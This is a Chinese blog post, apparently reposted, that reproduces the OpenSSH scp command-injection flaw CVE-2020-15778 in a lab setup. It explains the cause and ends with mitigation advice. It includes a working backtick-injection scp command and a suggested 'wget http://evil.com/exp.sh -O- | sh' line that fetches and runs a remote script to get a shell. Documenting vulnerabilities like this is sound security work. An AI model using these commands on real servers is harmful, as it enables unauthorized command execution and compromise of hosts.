OpenSSH_scp命令注入漏洞复现(CVE-2020-15778)

   日期:2020-08-04     浏览:246    评论:0    
核心提示:该文章英文简单易懂,虽翻译之,大佬们轻喷文章首发公众号:striveben前言OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码。OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。影响范围OpenSSH._cve-20

该文章英文简单易懂,虽翻译之,大佬们轻喷
文章首发公众号:striveben

前言

OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令,不过前提是需要知道ssh的登录密码。

OpenSSh是用于使用SSH(Secure SHell)协议进行加密远程登录的免费开源实现。它可以有效保护登录及数据的安全。

SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。

影响范围

OpenSSH <= 8.3p1

原因

使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp SourceFile user@host:directory/TargetFile

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/TargetFile

问题就出在这个地方,也就是"scp.c"文件的989行,如上图所示。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

复现

环境信息 靶机kali : 172.16.24.151 利用场景 已知靶机ssh密码为123456

先使用scp命令正常发送文件到靶机:

scp ./111.txt test@172.16.24.151:/home/test/test/111


上图左边为攻击机,执行scp命令,把"111.txt"发送到右边的靶机上。

接下来执行带有payload的scp命令,payload内容为”在远程服务器上创建一个hack.sh文件“,如下:

scp ./111.txt test@172.16.24.151:'`touch /home/test/test/hack.sh`/home/test/test/112


上图左边的攻击机执行了”向远程服务器创建hack.sh文件“的payload和发送"111.txt"文件,在图右边靶机中接收到了"hack.sh"和"112(也就是重命名后的111.txt)"。

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用

wget http://evil.com/exp.sh -O- | sh

命令获取网站的shell。

修复建议

等待官方补丁
加强ssh密码或密钥的保护,周期性更换密码或密钥。
使用rsync代替scp

附原文链接

公号回复“加群”,一起交流技术!

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服